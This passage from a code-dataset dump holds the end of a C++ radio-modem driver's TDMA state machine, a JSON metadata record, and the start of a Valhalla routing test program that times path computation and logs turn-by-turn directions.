       {\n                 stringstream ss;\n                 ss << \"r\" << array_index << \" entered GOT_TDMA_REQUEST\";\n                 cout << ss.str() << \"\\n\";\n                 // dsp->tickleLog(\"rx\", ss.str());\n\n                 next = GO_AFTER(TDMA_STATE_0_0, _5_MS_SLEEP);\n            }\n            break;\n\n        case TDMA_STATE_0_0:\n            {\n                stringstream ss;\n                ss << \"r\" << array_index << \" entered TDMA_STATE_0_0\";\n                cout << ss.str() << \"\\n\";\n\n                partnerOp(\"set\", 2, 0); // reset schedule offset\n\n                next = GO_AFTER(TDMA_STATE_0_1, _5_MS_SLEEP);\n            }\n            break;\n\n        case TDMA_STATE_0_1:\n            {\n                stringstream ss;\n                ss << \"r\" << array_index << \" entered TDMA_STATE_0_1\";\n                cout << ss.str() << \"\\n\";\n                // HiggsTDMA& td = tdma[DATA_SUBCARRIER_INDEX];\n                demod->td->reset(); // reset our tracking for our single td object\n                demod->resetDemodPhase(); // reset common tracking\n                demod->resetTdmaAndLifetime();\n                cout << \"r\" << array_index << \" after reset resetDemodPhase() and td.reset()\" << endl;\n\n                // new tdma requires we go to zero here\n                // so we can hit found dead in next state\n\n\n                // sends deadbeef and some other pattern\n                // setPartnerTDMA(0, 0);\n\n                // send our own thing\n                // setPartnerTDMA(6, 0);\n                demod->track_demod_against_rx_counter = true;\n\n                times_wait_tdma_state_0 = 0;\n                next = GO_AFTER(TDMA_STATE_2_DOT_5, _5_MS_SLEEP);\n            }\n            break;\n        // case TDMA_STATE_0:\n        //     {\n        //     cout << \"TDMA_STATE_0 \" << times_wait_tdma_state_0 << \"\\n\";\n        //     HiggsTDMA& td = *demod->td;\n        //     if(td.found_dead) {\n                    \n        //             stringstream ss;\n        //             ss << \"r\" << array_index << \" found dead\";\n        //             // dsp->tickleLog(\"rx\", ss.str());\n\n        //             cout << \"r\" << array_index << \" found dead\" << endl;\n        //             // was this\n        //             setPartnerTDMA(4, 0);\n\n        //             // trying this\n        //             // setPartnerTDMA(6, 0);\n\n        //             // td.sent_tdma = true;\n        //             td.lifetime_rx = 0;\n        //             td.lifetime_tx = 0;\n        //             next = GO_AFTER(TDMA_STATE_1, _1_MS_SLEEP);\n                    \n        //             // new\n        //             td.reset();\n        //             demod->resetDemodPhase();\n        //         } else if (GET_RUNTIME_SKIP_TDMA_R0()) {\n        //             cout << \"r\" << array_index << \" Got GET_RUNTIME_SKIP_TDMA_R0()\" << endl;\n        //             demod->tdma_phase = 4;\n        //             td.sent_tdma = true;\n        //             td.lifetime_rx = 6;\n        //             td.lifetime_tx = 6;\n        //             times_eq_sent++;\n        //             GO_NOW(WAIT_EVENTS);\n        //         } else if (times_wait_tdma_state_0 > ((10/5)*30)) {\n        //             cout << \"TDMA_STATE_0 timed out, going back to GOT_TDMA_REQUEST\\n\";\n        //             next = GO_AFTER(GOT_TDMA_REQUEST, _1_MS_SLEEP);\n        //         } else {\n        //             next = GO_AFTER(TDMA_STATE_0, _500_MS_SLEEP);\n        //         }\n\n        //         times_wait_tdma_state_0++;\n\n        //     }\n        //     break;\n        // case TDMA_STATE_1:\n        //      {\n        //         // uint32_t prev_len = \n        //         // FIXME: when we enter this step, check the last 2 values in \n\n        //         // this td.xx flags are set by the parseDemodWords()\n        //         // in my logs if i print all words, I see that the delta is stable for\n        //         // at least 2 seconds\n        //         HiggsTDMA& td = *demod->td;\n        //         if(td.lifetime_rx != 0 || td.lifetime_tx != 0) {\n        //             cout << \"r\" << array_index << \" tx: \" << td.lifetime_tx << \" rx: \" << td.lifetime_rx << \" TDMA_STATE_1\" << endl;\n        //             // alignSchedule(td.lifetime_tx, td.lifetime_rx);\n        //             demod->tdma_phase = -1;\n\n        //             next = GO_AFTER(TDMA_STATE_2, _1_MS_SLEEP);\n        //             // next = GO_AFTER(TDMA_STATE_2, _8_SECOND_SLEEP);\n        //         }\n        //     }\n        //     break;\n\n        // case TDMA_STATE_2:\n        //     {   \n        //         cout << \"r\" << array_index << \" sending tdma mode 4 again to double check alignment\" << endl;\n        //         setPartnerTDMA(4, 0);\n        //         demod->resetTdmaAndLifetime();\n        //         next = GO_AFTER(TDMA_STATE_2_DOT_5, _2_SECOND_SLEEP);\n        //     }\n        //     break;\n\n        case TDMA_STATE_2_DOT_5:\n            cout << \"r\" << array_index << \" TDMA_STATE_2_DOT_5 \" << endl;\n\n            setPartnerTDMA(6, 0);\n            next = GO_AFTER(TDMA_STATE_2_DOT_6, _3_SECOND_SLEEP);\n            break;\n\n        // case TDMA_STATE_2_DOT_55:\n        //     {\n        //         HiggsTDMA& td = tdma[DATA_SUBCARRIER_INDEX];\n        //         cout << \"r\" << array_index << \" TDMA_STATE_2_DOT_55\" << endl;\n        //         tdma_phase = -1;\n        //         td.needs_fudge = false;\n        //         next = GO_AFTER(TDMA_STATE_2_DOT_6, _3_SECOND_SLEEP);\n        //         break;\n        //     }\n\n        case TDMA_STATE_2_DOT_6:\n            {\n                cout << \"r\" << array_index << \" TDMA_STATE_2_DOT_6\" << endl;\n                HiggsTDMA& td = *demod->td;\n                if( td.needsUpdate() ) {\n                    cout << \"r\" << array_index << \" did not find TDMA mode 6\" << endl;\n                    demod->td->reset(); // reset our tracking for our single td object\n                    demod->resetDemodPhase(); // reset common tracking\n                    demod->resetTdmaAndLifetime();\n                    next = GO_AFTER(TDMA_STATE_0_0, _1_MS_SLEEP);\n                } else {\n                    demod->alignSchedule4();\n                    // when we call alignSchedule, we are changing the phase of the transmit side\n                    // this means we need to reset the phase, or else the words put into the buffer\n                    // will always be wrong\n                    // we need to wait for the command to land before we reset this\n                    // I saw this edge case on my 2nd run\n                    // demod_special_phase = -1;\n                    next = GO_AFTER(TDMA_STATE_2_DOT_7, _1_SECOND_SLEEP);\n                }\n\n                // if(1) {\n                //     cout << \"TDMA_STATE_2_DOT_6 force next\" << endl;\n                //     // next = GO_NOW(TDMA_STATE_2_DOT_5);\n                //     next = GO_AFTER(TDMA_STATE_2_DOT_55, _1_SECOND_SLEEP);\n                // }\n\n\n                break;\n            }\n\n        case TDMA_STATE_2_DOT_7:\n            {\n                cout << \"r\" << array_index << \" TDMA_STATE_2_DOT_7 reset\" << endl;\n                if( false ) {\n                    demod->resetDemodPhase(); // same as demod->tdma_phase = -1;\n                } else {\n                    demod->td->reset(); // reset our tracking for our single td object\n                    demod->resetDemodPhase(); // reset common tracking\n                    demod->resetTdmaAndLifetime();\n                }\n                next = GO_AFTER(TDMA_STATE_3, _3_SECOND_SLEEP);\n                break;\n            }\n\n        case TDMA_STATE_3:\n            {   \n                HiggsTDMA& td = *demod->td;\n                if(td.lifetime_rx != 0 || td.lifetime_tx != 0) {\n                    cout << \"r\" << array_index << \" Final tx: \" << td.lifetime_tx << \" rx: \" << td.lifetime_rx << \"\\n\";\n                    cout << \"r\" << array_index << \" Final tx mod: \" << td.lifetime_tx % SCHEDULE_FRAMES << \" rx mod: \" << td.lifetime_rx % SCHEDULE_FRAMES << \"\\n\";\n                    cout << \"r\" << array_index << \" Final epoc: \" << td.epoc_tx << \"\\n\";\n                    \n                    \n\n                   next = GO_NOW(TDMA_STATE_4);\n                }\n            }\n            break;\n\n        case TDMA_STATE_4:\n            {\n                cout << \"TDMA_STATE_4 DOES NOT EXIST\\n\";\n                next = GO_NOW(DEBUG_STALL);\n                // demod->alignSchedule6();\n\n                // next = GO_AFTER(TDMA_STATE_5, _2_SECOND_SLEEP);\n            }\n            break;\n\n\n        case TDMA_STATE_5:\n            {\n                \n                // disable my custom tone from doing work on cs20 (different than just masking with eq\n                // which is what we did before)\n                // !!!FIXME go to state keep here\n                // mode 20 is like \"parking\" mode\n                // note mode 21 will reset schedule->offset which we do not want here\n                setPartnerTDMA(20, 0);\n\n                sendEvent(MAKE_EVENT(FINISHED_TDMA_EV,array_index));\n\n                demod->setDemodEnabled(false);\n\n                cout << \"r\" << array_index << \" going to WAIT_EVENTS\\n\";\n                next = GO_NOW(WAIT_EVENTS);\n            }\n            break;\n\n\n        case RECHECK_TDMA_0:\n            {\n                cout << \"r\" << array_index << \" RECHECK_TDMA_0\\n\";\n                save_tdma_mode_during_recheck = demod->last_mode_sent;\n                save_tdma_should_mask_data_tone_tx_eq = should_mask_data_tone_tx_eq;\n\n                demod->td->reset(); // reset our tracking for our single td object\n                demod->resetDemodPhase(); // reset common tracking\n                demod->resetTdmaAndLifetime();\n                demod->setDemodEnabled(true);\n\n                should_mask_data_tone_tx_eq = false;\n\n                setPartnerTDMA(6, 0);\n\n                // if TDMA was masked (True) then we need to wait for next eq to update\n                if( save_tdma_should_mask_data_tone_tx_eq ) {\n                    next = GO_AFTER(RECHECK_TDMA_1, _6_SECOND_SLEEP);\n                } else {\n                    // tdma EQ was ok before we started, jump right in\n                    next = GO_AFTER(RECHECK_TDMA_1, _5_MS_SLEEP);\n                }\n\n            }\n            break;\n\n        case RECHECK_TDMA_1:\n            {\n\n                HiggsTDMA& td = *demod->td;\n                if(td.lifetime_rx != 0 || td.lifetime_tx != 0) {\n                    cout << \"r\" << array_index << \" RECHECK Final tx: \" << td.lifetime_tx << \" rx: \" << td.lifetime_rx << endl;\n                    cout << \"r\" << array_index << \" RECHECK Final tx mod: \" << td.lifetime_tx % SCHEDULE_FRAMES << \" rx mod: \" << td.lifetime_rx % SCHEDULE_FRAMES << endl;\n                    cout << \"r\" << array_index << \" RECHECK Final epoc: \" << td.epoc_tx << \"\\n\";\n\n                    cout << \"r\" << array_index << \" RECHECK setting tdma mode back to \" << save_tdma_mode_during_recheck << \" and ZERO argument\" << endl;\n                    // go back to previos mode FIXME always resets argument to 0;\n                    setPartnerTDMA(save_tdma_mode_during_recheck, 0);\n\n                    demod->setDemodEnabled(false);\n\n                    should_mask_data_tone_tx_eq = save_tdma_should_mask_data_tone_tx_eq;\n\n\n                    cout << \"r\" << array_index << \" RECHECK going to WAIT_EVENTS\" << endl;\n                    next = GO_NOW(WAIT_EVENTS);\n                }\n            }\n            break;\n\n        case DEBUG_STALL:\n             // A small value here ensures ringbus are consumed faster\n             next = GO_AFTER(DEBUG_STALL, _100_MS_SLEEP);\n             break;\n\n        default:\n            cout << \"r\" << array_index << \" Bad state in RadioEstimate::tickfsm\" << endl;\n            break;\n    }\n\n\n\n    if(__timer != __UNSET_NEXT__) {\n        // cout << \"timer mode\" << endl;\n        radio_state_pending = __timer;\n        evtimer_add(localfsm_next_timer, &tv);\n    } else if(__imed != __UNSET_NEXT__) {\n        // cout << \"imed mode\" << endl;\n        radio_state_pending = __imed;\n        auto timm = SMALLEST_SLEEP;\n        evtimer_add(localfsm_next_timer, &timm);\n    } else if(next != 0 && next != __UNSET_NEXT__) {\n        cout << endl << \"ERROR You cannot use:  \";\n        cout << endl << \"   next = \" << endl << endl << \"without GO_NOW() or GO_AFTER()      (inside EventDsp::tickFsm)\" << endl << endl << endl;\n        usleep(100);\n        assert(0);\n    } else {\n        // default\n        radio_state_pending = radio_state;\n        evtimer_add(localfsm_next_timer, &tv);\n        // cout << \"using default next in tiskFsm\" << endl;\n    }\n\n    \n    tickleOutsiders();\n\n}\n#pragma GCC diagnostic pop\n\n\nvoid RadioEstimate::clearRecentEvent() {\n    most_recent_event.d0 = NOOP_EV;\n}\n\n", "meta": {"hexsha": "af487c061848e599d9dd9bd9e03ac024b0bb8783", "size": 136713, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "soapy/src/driver/RadioEstimate.cpp", "max_stars_repo_name": "siglabsoss/s-modem", "max_stars_repo_head_hexsha": "0a259b4f3207dd043c198b76a4bc18c8529bcf44", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "soapy/src/driver/RadioEstimate.cpp", "max_issues_repo_name": "siglabsoss/s-modem", "max_issues_repo_head_hexsha": "0a259b4f3207dd043c198b76a4bc18c8529bcf44", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "soapy/src/driver/RadioEstimate.cpp", "max_forks_repo_name": "siglabsoss/s-modem", "max_forks_repo_head_hexsha": "0a259b4f3207dd043c198b76a4bc18c8529bcf44", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 29.8044473512, "max_line_length": 228, "alphanum_fraction": 0.5688193515, "num_tokens": 35942, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.519521321952093, "lm_q2_score": 0.23370636225126953, "lm_q1q2_score": 0.12141543826539428}}
{"text": "#include <boost/format.hpp>\n#include <boost/optional.hpp>\n#include <boost/program_options.hpp>\n#include <boost/property_tree/ptree.hpp>\n#include <cmath>\n#include <cstdint>\n#include <cstdlib>\n#include <fstream>\n#include <iostream>\n#include <queue>\n#include <string>\n#include <tuple>\n#include <utility>\n#include <vector>\n\n#include \"baldr/connectivity_map.h\"\n#include \"baldr/graphreader.h\"\n#include \"baldr/pathlocation.h\"\n#include \"baldr/tilehierarchy.h\"\n#include \"loki/search.h\"\n#include \"loki/worker.h\"\n#include \"midgard/distanceapproximator.h\"\n#include \"midgard/encoded.h\"\n#include \"midgard/logging.h\"\n#include \"odin/directionsbuilder.h\"\n#include \"odin/enhancedtrippath.h\"\n#include \"odin/util.h\"\n#include \"sif/costfactory.h\"\n#include \"thor/attributes_controller.h\"\n#include \"thor/bidirectional_astar.h\"\n#include \"thor/multimodal.h\"\n#include \"thor/route_matcher.h\"\n#include \"thor/timedep.h\"\n#include \"thor/triplegbuilder.h\"\n#include \"worker.h\"\n\n#include \"proto/api.pb.h\"\n#include \"proto/directions.pb.h\"\n#include \"proto/options.pb.h\"\n#include \"proto/trip.pb.h\"\n\n#include \"config.h\"\n\nusing namespace valhalla::midgard;\nusing namespace valhalla::baldr;\nusing namespace valhalla::loki;\nusing namespace valhalla::odin;\nusing namespace valhalla::sif;\nusing namespace valhalla::thor;\nusing namespace valhalla::meili;\n\nnamespace bpo = boost::program_options;\n\nnamespace {\n\nstd::string get_env(const std::string& key) {\n  char* val = std::getenv(key.c_str());\n  return val == nullptr ? std::string(\"\") : std::string(val);\n}\n\n// Default maximum distance between locations to choose a time dependent path algorithm\nconst float kDefaultMaxTimeDependentDistance = 500000.0f;\n\nclass PathStatistics {\n  std::pair<float, float> origin;\n  std::pair<float, float> destination;\n  std::string success;\n  uint32_t passes;\n  uint32_t runtime;\n  uint32_t trip_time;\n  float trip_dist;\n  float arc_dist;\n  uint32_t manuevers;\n  double elapsed_cost_seconds;\n  double elapsed_cost_cost;\n\npublic:\n  PathStatistics(std::pair<float, float> p1, std::pair<float, float> p2)\n      : origin(p1), destination(p2), success(\"false\"), passes(0), runtime(), trip_time(), trip_dist(),\n        arc_dist(), manuevers(), elapsed_cost_seconds(0), elapsed_cost_cost(0) {\n  }\n\n  void setSuccess(std::string s) {\n    success = std::move(s);\n  }\n  void incPasses(void) {\n    ++passes;\n  }\n  void addRuntime(uint32_t msec) {\n    runtime += msec;\n  }\n  void setTripTime(uint32_t t) {\n    trip_time = t;\n  }\n  void setTripDist(float d) {\n    trip_dist = d;\n  }\n  void setArcDist(float d) {\n    arc_dist = d;\n  }\n  void setManuevers(uint32_t n) {\n    manuevers = n;\n  }\n  void setElapsedCostSeconds(double secs) {\n    elapsed_cost_seconds = secs;\n  }\n  void setElapsedCostCost(double cost) {\n    elapsed_cost_cost = cost;\n  }\n  void log() {\n    valhalla::midgard::logging::Log((boost::format(\"%f,%f,%f,%f,%s,%d,%d,%d,%f,%f,%d,%f,%f\") %\n                                     origin.first % origin.second % destination.first %\n                                     destination.second % success % passes % runtime % trip_time %\n                                     trip_dist % arc_dist % manuevers % elapsed_cost_seconds %\n                                     elapsed_cost_cost)\n                                        .str(),\n                                    \" [STATISTICS] \");\n  }\n};\n} // namespace\n\n/**\n * Test a single path from origin to destination.\n */\nconst valhalla::TripLeg* PathTest(GraphReader& reader,\n                                  valhalla::Location& origin,\n                                  valhalla::Location& dest,\n                                  PathAlgorithm* pathalgorithm,\n                                  const mode_costing_t& mode_costing,\n                                  const TravelMode mode,\n                                  PathStatistics& data,\n                                  bool multi_run,\n                                  uint32_t iterations,\n                                  bool using_astar,\n                                  bool using_bd,\n                                  bool match_test,\n                                  const std::string& routetype,\n                                  valhalla::Api& request) {\n  auto t1 = std::chrono::high_resolution_clock::now();\n  auto paths =\n      pathalgorithm->GetBestPath(origin, dest, reader, mode_costing, mode, request.options());\n  cost_ptr_t cost = mode_costing[static_cast<uint32_t>(mode)];\n\n  // If bidirectional A*, disable use of destination only edges on the first pass.\n  // If there is a failure, we allow them on the second pass.\n  if (using_bd) {\n    cost->set_allow_destination_only(false);\n  }\n\n  cost->set_pass(0);\n  data.incPasses();\n  if (paths.empty() || (routetype == \"pedestrian\" && pathalgorithm->has_ferry())) {\n    if (cost->AllowMultiPass()) {\n      LOG_INFO(\"Try again with relaxed hierarchy limits\");\n      cost->set_pass(1);\n      pathalgorithm->Clear();\n      const float expansion_within_factor = (using_astar) ? 4.0f : 2.0f;\n      cost->RelaxHierarchyLimits(using_astar, expansion_within_factor);\n      cost->set_allow_destination_only(true);\n      paths = pathalgorithm->GetBestPath(origin, dest, reader, mode_costing, mode, request.options());\n      data.incPasses();\n    }\n  }\n  if (paths.empty()) {\n    // Return an empty trip path\n    return nullptr;\n  }\n  const auto& pathedges = paths.front();\n  LOG_INFO(\"Number of alternates requested=\" + std::to_string(request.options().alternates()));\n  LOG_INFO(\"Number of paths=\" + std::to_string(paths.size()));\n  LOG_INFO(\"Number of pathedges=\" + std::to_string(pathedges.size()));\n\n  auto t2 = std::chrono::high_resolution_clock::now();\n  uint32_t msecs = std::chrono::duration_cast<std::chrono::milliseconds>(t2 - t1).count();\n  LOG_INFO(\"PathAlgorithm GetBestPath took \" + std::to_string(msecs) + \" ms\");\n\n  // Form trip path\n  t1 = std::chrono::high_resolution_clock::now();\n  AttributesController controller;\n  auto& trip_path = *request.mutable_trip()->mutable_routes()->Add()->mutable_legs()->Add();\n  TripLegBuilder::Build(request.options(), controller, reader, mode_costing, pathedges.begin(),\n                        pathedges.end(), origin, dest, std::list<valhalla::Location>{}, trip_path,\n                        {pathalgorithm->name()});\n  t2 = std::chrono::high_resolution_clock::now();\n  msecs = std::chrono::duration_cast<std::chrono::milliseconds>(t2 - t1).count();\n  LOG_INFO(\"TripLegBuilder took \" + std::to_string(msecs) + \" ms\");\n\n  // Time how long it takes to clear the path\n  t1 = std::chrono::high_resolution_clock::now();\n  pathalgorithm->Clear();\n  t2 = std::chrono::high_resolution_clock::now();\n  msecs = std::chrono::duration_cast<std::chrono::milliseconds>(t2 - t1).count();\n  LOG_INFO(\"PathAlgorithm Clear took \" + std::to_string(msecs) + \" ms\");\n\n  // Test RouteMatcher\n  if (match_test) {\n    LOG_INFO(\"Testing RouteMatcher\");\n\n    // Get shape\n    std::vector<PointLL> shape = decode<std::vector<PointLL>>(trip_path.shape());\n\n    // Use the shape to form a single edge correlation at the start and end of\n    // the shape (using heading).\n    std::vector<valhalla::baldr::Location> locations{shape.front(), shape.back()};\n    locations.front().heading_ = std::round(PointLL::HeadingAlongPolyline(shape, 30.f));\n    locations.back().heading_ = std::round(PointLL::HeadingAtEndOfPolyline(shape, 30.f));\n\n    std::shared_ptr<DynamicCost> cost = mode_costing[static_cast<uint32_t>(mode)];\n    const auto projections = Search(locations, reader, cost);\n    std::vector<PathLocation> path_location;\n    valhalla::Options options;\n\n    for (const auto& ll : shape) {\n      auto* sll = options.mutable_shape()->Add();\n      sll->mutable_ll()->set_lat(ll.lat());\n      sll->mutable_ll()->set_lng(ll.lng());\n      // set type to via by default\n      sll->set_type(valhalla::Location::kVia);\n    }\n    // first and last always get type break\n    if (options.shape_size()) {\n      options.mutable_shape(0)->set_type(valhalla::Location::kBreak);\n      options.mutable_shape(options.shape_size() - 1)->set_type(valhalla::Location::kBreak);\n    }\n\n    for (const auto& loc : locations) {\n      path_location.push_back(projections.at(loc));\n      PathLocation::toPBF(path_location.back(), options.mutable_locations()->Add(), reader);\n    }\n    std::vector<std::vector<PathInfo>> paths;\n    bool ret = RouteMatcher::FormPath(mode_costing, mode, reader, options, paths);\n    if (ret) {\n      LOG_INFO(\"RouteMatcher succeeded\");\n    } else {\n      LOG_ERROR(\"RouteMatcher failed\");\n    }\n  }\n\n  // Run again to see benefits of caching\n  if (multi_run) {\n    uint32_t total_get_best_path_ms = 0;\n    uint32_t total_trip_leg_builder_ms = 0;\n    for (uint32_t i = 0; i < iterations; i++) {\n      t1 = std::chrono::high_resolution_clock::now();\n      paths = pathalgorithm->GetBestPath(origin, dest, reader, mode_costing, mode, request.options());\n      t2 = std::chrono::high_resolution_clock::now();\n      total_get_best_path_ms +=\n          std::chrono::duration_cast<std::chrono::milliseconds>(t2 - t1).count();\n\n      // Form trip leg\n      t1 = std::chrono::high_resolution_clock::now();\n      AttributesController controller;\n      valhalla::TripLeg trip_leg;\n      const auto& pathedges = paths.front();\n      TripLegBuilder::Build(request.options(), controller, reader, mode_costing, pathedges.begin(),\n                            pathedges.end(), origin, dest, std::list<valhalla::Location>{}, trip_leg,\n                            {pathalgorithm->name()});\n      t2 = std::chrono::high_resolution_clock::now();\n      total_trip_leg_builder_ms +=\n          std::chrono::duration_cast<std::chrono::milliseconds>(t2 - t1).count();\n\n      pathalgorithm->Clear();\n    }\n    msecs = total_get_best_path_ms / iterations;\n    LOG_INFO(\"PathAlgorithm GetBestPath average: \" + std::to_string(msecs) + \" ms\");\n    msecs = total_trip_leg_builder_ms / iterations;\n    LOG_INFO(\"TripLegBuilder average: \" + std::to_string(msecs) + \" ms\");\n  }\n  return &request.trip().routes(0).legs(0);\n}\n\nnamespace std {\n\n// TODO: maybe move this into location.h if its actually useful elsewhere than here?\nstd::string to_string(const valhalla::baldr::Location& l) {\n  std::string s;\n  for (auto address : {&l.name_, &l.street_, &l.city_, &l.state_, &l.zip_, &l.country_}) {\n    s.append(*address);\n    s.push_back(',');\n  }\n  s.erase(s.end() - 1);\n  return s;\n}\n\n// TODO: maybe move this into location.h if its actually useful elsewhere than here?\nstd::string to_json(const valhalla::baldr::Location& l) {\n  std::string json = \"{\";\n  json += \"\\\"lat\\\":\";\n  json += std::to_string(l.latlng_.lat());\n\n  json += \",\\\"lon\\\":\";\n  json += std::to_string(l.latlng_.lng());\n\n  json += \",\\\"type\\\":\\\"\";\n  json += (l.stoptype_ == valhalla::baldr::Location::StopType::THROUGH) ? \"through\" : \"break\";\n  json += \"\\\"\";\n\n  if (l.heading_) {\n    json += \",\\\"heading\\\":\";\n    json += *l.heading_;\n  }\n\n  if (!l.name_.empty()) {\n    json += \",\\\"name\\\":\\\"\";\n    json += l.name_;\n    json += \"\\\"\";\n  }\n\n  if (!l.street_.empty()) {\n    json += \",\\\"street\\\":\\\"\";\n    json += l.street_;\n    json += \"\\\"\";\n  }\n\n  if (!l.city_.empty()) {\n    json += \",\\\"city\\\":\\\"\";\n    json += l.city_;\n    json += \"\\\"\";\n  }\n\n  if (!l.state_.empty()) {\n    json += \",\\\"state\\\":\\\"\";\n    json += l.state_;\n    json += \"\\\"\";\n  }\n\n  if (!l.zip_.empty()) {\n    json += \",\\\"postal_code\\\":\\\"\";\n    json += l.zip_;\n    json += \"\\\"\";\n  }\n\n  if (!l.country_.empty()) {\n    json += \",\\\"country\\\":\\\"\";\n    json += l.country_;\n    json += \"\\\"\";\n  }\n\n  json += \"}\";\n\n  return json;\n}\n\n} // namespace std\n\nstd::string GetFormattedTime(uint32_t seconds) {\n  uint32_t hours = (uint32_t)seconds / 3600;\n  uint32_t minutes = ((uint32_t)(seconds / 60)) % 60;\n  std::string formattedTime = \"\";\n  // Hours\n  if (hours > 0) {\n    formattedTime += std::to_string(hours);\n    formattedTime += (hours == 1) ? \" hour\" : \" hours\";\n    if (minutes > 0) {\n      formattedTime += \", \";\n    }\n  }\n  // Minutes\n  if (minutes > 0) {\n    formattedTime += std::to_string(minutes);\n    formattedTime += (minutes == 1) ? \" minute\" : \" minutes\";\n  }\n  return formattedTime;\n}\n\nvalhalla::DirectionsLeg DirectionsTest(valhalla::Api& api,\n                                       valhalla::Location& orig,\n                                       valhalla::Location& dest,\n                                       PathStatistics& data,\n                                       bool verbose_lanes) {\n  // TEMPORARY? Change to PathLocation...\n  const PathLocation& origin = PathLocation::fromPBF(orig);\n  const PathLocation& destination = PathLocation::fromPBF(dest);\n\n  DirectionsBuilder::Build(api);\n  const auto& trip_directions = api.directions().routes(0).legs(0);\n  EnhancedTripLeg etl(*api.mutable_trip()->mutable_routes(0)->mutable_legs(0));\n  std::string units = (api.options().units() == valhalla::Options::kilometers ? \"km\" : \"mi\");\n  int m = 1;\n  valhalla::midgard::logging::Log(\"From: \" + std::to_string(origin), \" [NARRATIVE] \");\n  valhalla::midgard::logging::Log(\"To: \" + std::to_string(destination), \" [NARRATIVE] \");\n  valhalla::midgard::logging::Log(\"==============================================\", \" [NARRATIVE] \");\n  for (int i = 0; i < trip_directions.maneuver_size(); ++i) {\n    const auto& maneuver = trip_directions.maneuver(i);\n\n    // Depart instruction\n    if (maneuver.has_depart_instruction()) {\n      valhalla::midgard::logging::Log((boost::format(\"   %s\") % maneuver.depart_instruction()).str(),\n                                      \" [NARRATIVE] \");\n    }\n\n    // Verbal depart instruction\n    if (maneuver.has_verbal_depart_instruction()) {\n      valhalla::midgard::logging::Log((boost::format(\"   VERBAL_DEPART: %s\") %\n                                       maneuver.verbal_depart_instruction())\n                                          .str(),\n                                      \" [NARRATIVE] \");\n    }\n\n    // Instruction\n    valhalla::midgard::logging::Log((boost::format(\"%d: %s | %.1f %s\") % m %\n                                     maneuver.text_instruction() % maneuver.length() % units)\n                                        .str(),\n                                    \" [NARRATIVE] \");\n\n    // Turn lanes\n    // Only for driving and no start/end maneuvers\n    if ((maneuver.travel_mode() == valhalla::DirectionsLeg_TravelMode_kDrive) &&\n        !((maneuver.type() == valhalla::DirectionsLeg_Maneuver_Type_kStart) ||\n          (maneuver.type() == valhalla::DirectionsLeg_Maneuver_Type_kStartRight) ||\n          (maneuver.type() == valhalla::DirectionsLeg_Maneuver_Type_kStartLeft) ||\n          (maneuver.type() == valhalla::DirectionsLeg_Maneuver_Type_kDestination) ||\n          (maneuver.type() == valhalla::DirectionsLeg_Maneuver_Type_kDestinationRight) ||\n          (maneuver.type() == valhalla::DirectionsLeg_Maneuver_Type_kDestinationLeft))) {\n      auto prev_edge = etl.GetPrevEdge(maneuver.begin_path_index());\n      if (prev_edge && (prev_edge->turn_lanes_size() > 0)) {\n        std::string turn_lane_status = \"ACTIVE_TURN_LANES\";\n        if (prev_edge->HasNonDirectionalTurnLane()) {\n          turn_lane_status = \"NON_DIRECTIONAL_TURN_LANES\";\n        } else if (!prev_edge->HasActiveTurnLane()) {\n          turn_lane_status = \"NO_ACTIVE_TURN_LANES\";\n        }\n        valhalla::midgard::logging::Log((boost::format(\"   %d: TURN_LANES: %s %s\") % m %\n                                         prev_edge->TurnLanesToString() % turn_lane_status)\n                                            .str(),\n                                        \" [NARRATIVE] \");\n      }\n    }\n\n    // Verbal transition alert instruction\n    if (maneuver.has_verbal_transition_alert_instruction()) {\n      valhalla::midgard::logging::Log((boost::format(\"   VERBAL_ALERT: %s\") %\n                                       maneuver.verbal_transition_alert_instruction())\n                                          .str(),\n                                      \" [NARRATIVE] \");\n    }\n\n    // Verbal pre transition instruction\n    if (maneuver.has_verbal_pre_transition_instruction()) {\n      valhalla::midgard::logging::Log((boost::format(\"   VERBAL_PRE: %s\") %\n                                       maneuver.verbal_pre_transition_instruction())\n                                          .str(),\n                                      \" [NARRATIVE] \");\n    }\n\n    // Verbal post transition instruction\n    if (maneuver.has_verbal_post_transition_instruction()) {\n      valhalla::midgard::logging::Log((boost::format(\"   VERBAL_POST: %s\") %\n                                       maneuver.verbal_post_transition_instruction())\n                                          .str(),\n                                      \" [NARRATIVE] \");\n    }\n\n    // Arrive instruction\n    if (maneuver.has_arrive_instruction()) {\n      valhalla::midgard::logging::Log((boost::format(\"   %s\") % maneuver.arrive_instruction()).str(),\n                                      \" [NARRATIVE] \");\n    }\n\n    // Verbal arrive instruction\n    if (maneuver.has_verbal_arrive_instruction()) {\n      valhalla::midgard::logging::Log((boost::format(\"   VERBAL_ARRIVE: %s\") %\n                                       maneuver.verbal_arrive_instruction())\n                                          .str(),\n                                      \" [NARRATIVE] \");\n    }\n\n    // All turn lanes along maneuver\n    if (verbose_lanes) {\n      for (auto n = maneuver.begin_path_index() + 1; n < maneuver.end_path_index(); ++n) {\n        auto prev_edge = etl.GetPrevEdge(n);\n        auto q = n - maneuver.begin_path_index();\n        if (prev_edge) {\n          std::string turn_lane_status = \"ACTIVE_TURN_LANES\";\n          if (prev_edge->HasNonDirectionalTurnLane()) {\n            turn_lane_status = \"NON_DIRECTIONAL_TURN_LANES\";\n          } else if (prev_edge->turn_lanes_size() == 0) {\n            turn_lane_status = \"NO_TURN_LANES\";\n          } else if (!prev_edge->HasActiveTurnLane()) {\n            turn_lane_status = \"NO_ACTIVE_TURN_LANES\";\n          }\n          valhalla::midgard::logging::Log((boost::format(\"   %d-%d: TURN_LANES: %s %s\") % m % q %\n                                           prev_edge->TurnLanesToString() % turn_lane_status)\n                                              .str(),\n                                          \" [NARRATIVE] \");\n        }\n      }\n    }\n\n    if (i < trip_directions.maneuver_size() - 1) {\n      valhalla::midgard::logging::Log(\"----------------------------------------------\",\n                                      \" [NARRATIVE] \");\n    }\n\n    // Increment maneuver number\n    ++m;\n  }\n  valhalla::midgard::logging::Log(\"==============================================\", \" 